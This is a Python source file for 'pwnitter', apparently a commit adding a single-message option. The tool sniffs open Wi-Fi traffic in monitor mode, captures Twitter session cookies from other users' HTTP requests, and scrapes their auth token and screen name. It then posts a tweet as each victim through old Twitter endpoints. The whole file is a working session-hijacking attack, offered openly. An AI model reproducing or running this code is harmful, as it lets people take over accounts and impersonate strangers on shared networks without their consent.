Added capability of sending one message only
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import logging
11 import logging.config
12 import socket
13 import time
14 import gobject
15 import select
16 import subprocess
17 import urllib2
18
19 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
20
21 def usage(): 
22     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
23     sys.exit(1)
24
25 NAME = 'de.cryptobitch.muelli.Pwnitter'
26
27 class Pwnitter(dbus.service.Object):
28     def __init__(self, bus, object_name, device='mon0', run_once_only=False):
29         super(Pwnitter, self).__init__(bus, object_name)
30         self.device = device
31         
32         self.status = status
33         self.is_running = False
34         self.run_once_only = run_once_only
35
36     def setup_monitor(device='mon0'):
37         # FIXME: Replace hardcoded interface 
38         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
39         subprocess.call(cmd)
40         cmd = '/sbin/ifconfig mon0 up'.split()
41         subprocess.call(cmd)
42     
43     @dbus.service.method(NAME,
44                          in_signature='', out_signature='')
45     def Start(self, filename=None):
46         # FIXME: Prevent double Start()
47         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
48             self.setup_monitor(device)
49             device = self.device
50         else: # We have given a filename, so let's make PCap read from the file
51             device = filename
52         self.is_running = True
53         try:
54             self.cap = pcap.pcap(device)
55         except OSError, e:
56             print "Error setting up %s" % device
57             raise e
58         self.cap.setfilter('dst port 80')
59         cap_fileno = self.cap.fileno()
60         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
61
62     @dbus.service.method(NAME,
63                          in_signature='s', out_signature='')
64     def StartFromFile(self, filename):
65         return self.Start(filename=filename)
66
67     
68     def cap_readable_callback(self, source, condition, device):
69         return self.pwn(device, self.MessageSent)
70         
71     @dbus.service.signal(NAME)
72     def MessageSent(self, who):
73         print "Emitting MessageSent"
74         return who
75         return False
76         pass
77
78     @dbus.service.method(NAME,
79                          in_signature='s', out_signature='')
80     def SetMessage(self, message):
81         self.status = message
82         
83     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
84                          in_signature='', out_signature='s')
85     def GetMessage(self):
86         return self.status
87
88
89     def tear_down_monitor(self, device='mon0'):
90         cmd = '/sbin/ifconfig mon0 down'.split()
91         subprocess.call(cmd)
92         cmd = '/usr/sbin/iw dev mon0 del'.split()
93         subprocess.call(cmd)
94     
95     @dbus.service.method(NAME,
96                          in_signature='', out_signature='')
97     def Stop(self):
98         self.is_running = False
99         print "Receive Stop"
100         gobject.source_remove(self.source_id)
101         self.tear_down_monitor(self.device)
102         loop.quit()
103
104
105     def pwn(self, device, tweeted_callback=None):
106         log = logging.getLogger('pwn')
107         
108         processed = {}
109         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
110             ts, raw = self.cap.next()
111             eth = dpkt.ethernet.Ethernet(raw)
112             log.debug('got a packet')
113             # Depending on platform, we can either get fully formed packets or unclassified radio data
114             if isinstance(eth.data, str):
115                 data = eth.data
116             else:
117                 data = eth.data.data.data
118
119             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
120             if hostMatches:
121                 log.debug('Host matched')
122                 host = hostMatches.group(1)
123
124                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
125                 log.debug('CookieMatches? %r', cookieMatches)
126                 if cookieMatches:
127                     cookie = cookieMatches.group(1)
128                     log.debug('yummie Cookie %r', cookie)
129
130                     headers = {
131                         "User-Agent": "Mozilla/5.0",
132                         "Cookie": cookie,
133                     }
134                     
135                     try:
136                         page = urllib2.urlopen("https://%s/" % host).read()
137                     except socket.error, e:
138                         log.error(e)
139                     else:
140                         log.debug('Connected to host %s', host)
141
142                         # Newtwitter and Oldtwitter have different formatting, so be lax
143                         authToken = ''
144
145                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
146                         if formMatches:
147                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
148
149                             if authMatches:
150                                 authToken = authMatches.group(1)
151                                 log.info('Found auth token %r', authToken)
152
153                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
154                         if not nameMatches:
155                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
156
157                         name = ''
158                         if nameMatches:
159                             name = nameMatches.group(1)
160                             log.info('Found name %r', name)
161
162
163                         # We don't want to repeatedly spam people
164                         # Also proceed if we didn't find a name but are on the mobile page
165                         if  not (name in processed)   or   ((not name) and host == 'mobile.twitter.com'):
166                             headers = {
167                                 "User-Agent": "Mozilla/5.0",
168                                 "Accept": "application/json, text/javascript, */*",
169                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
170                                 "X-Requested-With": "XMLHttpRequest",
171                                 "X-PHX": "true",
172                                 "Referer": "http://api.twitter.com/p_receiver.html",
173                                 "Cookie": cookie
174                             }
175
176
177                             log.debug('Issueing connection')
178                             if self.run_once_only: # If we wanted to run once only, we make it stop now
179                                 self.is_running = False
180                             if host == 'mobile.twitter.com':
181
182                                 params = urllib.urlencode({
183                                     'tweet[text]': self.status,
184                                     'authenticity_token': authToken
185                                 })
186
187                                 conn = httplib.HTTPConnection("mobile.twitter.com")
188                                 conn.request("POST", "/", params, headers)
189
190                             else:
191
192                                 params = urllib.urlencode({
193                                     'status': self.status,
194                                     'post_authenticity_token': authToken
195                                 })
196
197                                 conn = httplib.HTTPConnection("api.twitter.com")
198                                 conn.request("POST", "/1/statuses/update.json", params, headers)
199
200
201                             response = conn.getresponse()
202                             log.debug('Got response: %s', response.status)
203                             if response.status == 200 or response.status == 302 or response.status == 403:
204
205                                 if name:
206                                     processed[name] = 1
207
208                                 # 403 is a dupe tweet
209                                 if response.status != 403:
210                                     log.info("Successfully tweeted as %s", name)
211                                     if tweeted_callback:
212                                         tweeted_callback(name)
213                                 else:
214                                     log.info('Already tweeted as %s', name)
215
216                             else:
217
218                                 log.error("FAILED to tweet as %s, debug follows:", name)
219                                 log.error("%s, %s", response.status, response.reason)
220                                 log.error("%s", response.read())
221
222         return self.is_running # Execute next time, we're idle or stop if we wanted to run once and have processed a message successfully
223     # FIXME: Ideally, check     whether Pcap has got data for us
224
225 def main():
226
227     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
228     device = None
229     for o, a in opts:
230         if o == '-i':
231             device = a
232         else:
233             usage()
234     #pwn(device)
235
236
237
238 if __name__ == '__main__':
239     from optparse import OptionParser
240     parser = OptionParser("usage: %prog [options]")
241     parser.add_option("-l", "--loglevel", dest="loglevel", 
242                       help="Sets the loglevel to one of debug, info, warn, error, critical")
243     parser.add_option("-s", "--session", dest="use_session_bus",
244                       action="store_true", default=False,
245                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
246     parser.add_option("-1", "--single", dest="run_once_only",
247                       action="store_true", default=False,
248                       help="Make it send a single message only")
249     (options, args) = parser.parse_args()
250     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
251                 'warn': logging.WARN, 'error': logging.ERROR,
252                 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
253     logging.basicConfig(level=loglevel)
254     #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
255     log = logging.getLogger("Main")
256
257     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
258
259     if options.use_session_bus:
260         session_bus = dbus.SessionBus()
261     else:
262         session_bus = dbus.SystemBus()
263     name = dbus.service.BusName(NAME, session_bus)
264     pwnitter = Pwnitter(session_bus, '/Pwnitter', run_once_only=options.run_once_only)
265     #object.Start()
266
267     loop = gobject.MainLoop()
268     log.info("Running example signal emitter service.")
269     # FIXME: This is debug code
270     #gobject.idle_add(pwnitter.MessageSent)
271     
272     loop.run()
273     print "Exiting for whatever reason"
274     #main()